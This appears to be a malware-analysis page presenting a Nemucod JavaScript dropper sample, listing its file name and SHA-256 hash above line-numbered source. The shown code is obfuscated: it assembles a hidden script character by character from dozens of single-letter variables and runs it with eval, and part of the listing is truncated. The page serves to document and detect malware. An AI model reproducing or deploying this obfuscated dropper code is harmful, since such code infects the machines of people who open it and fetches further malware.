20161006_7af4b340775ac0aeec2dbeb85f045fd9.js
Nemucod malware dropper
gp array concat rebuildDense gp token array
SHA-256fe3f6ea847edd97dd32b87f13011e86e334774d4f22155676cf8f6195a28bc71
MaleculeK₂(McLi)O₂(As₆S)H₂(DbPo)
Evidence
1
2/*@cc_on
3var an = "";
4var xu = 0;
5
6asdddddddddd();
7var bd,xj,yz,bz,mi0,tp,pd,dk,ny,ta,cr,qh,fe,wh,eq,yo,hj0,bg,kc,wc,xl,ug,pw,yh,er,nr,hg,cr0,pp,cy,wq,it,dh,mu,rk,eo,hj,vr,xy,ap,fd,nj,qi,ux,ty,ez,ki,ur,oz0,ob,dz,rv,lh,vj,xf,hy,ik,zo,rm,nu,wm,xs,qa,wd,oz,ui,gk,ji,yz0,jk,fy,pi,km,sz,rc,gc,pf,wn,ga,ul,zs,hw,dw,au,sl,fu,mi,bc;
8var gp = [("x", qa),("x", jk),("x", oz),("x", mu),("x", wh),("x", ul),("x", hj),("x", oz),("x", ap),("x", ga),("x", it),("x", dh),("x", hj0),("x", bd),("x", ap),("x", ap),("x", ap),("x", ap),("x", gk),("x", wn),("x", ui),("x", ap),("x", dw),("x", cr),("x", vr),("x", ul),("x", bc),("x", jk),("x", ta),("x", rk),("x", qa),("x", jk),("x", vr),("x", wh),("x", ta),("x", rk),("x", ap),("x", hy),("x", ap),("x", pp),("x", cy),("x", hg),("x", pp),("x", xl),("x", pp),("x", pp),("x", xl),("x", pp),("x", mu),("x", pp),("x", xl),("x", pp),("x", ui),("x", pp),("x", xl),("x", pp),("x", ul),("x", pp),("x", xl),("x", pp),("x", fe),("x", wh),("x", pp) …
8:172952… vj),("x", xj),("x", bd),("x", eq),("x", vj),("x", xj),("x", bd),("x", xj),("x", bd)];
9do
10{
11 an = an['c'+"o"+'n'+"ca"+"t"](gp[xu]);
12 var pn = (gp["l"+"e"+'n'+"gt"+"h"]-1);
13} while (xu++ < pn);
14eval(an);
15function asdddddddddd()
16{
17bd=('d', '\x0a');
18xj=('d', '\x0d');
19yz=('d', 'D');
20bz=('d', 'H');
21mi0=('d', 'L');
22tp=('d', 'P');
23pd=('d', 'T');
24dk=('d', 'X');
25ny=('d', '\x09');
26ta=('d', 'd');
27cr=('d', 'h');
28qh=('d', 'l');
29fe=('d', 'p');
30wh=('d', 't');
31eq=('d', '\x7d');
32yo=('d', '\x7c');
33hj0=('d', '\x7b');
34bg=('d', '\x2f');
35kc=('d', '\x2d');
36wc=('d', '\x2e');
⋯10 lines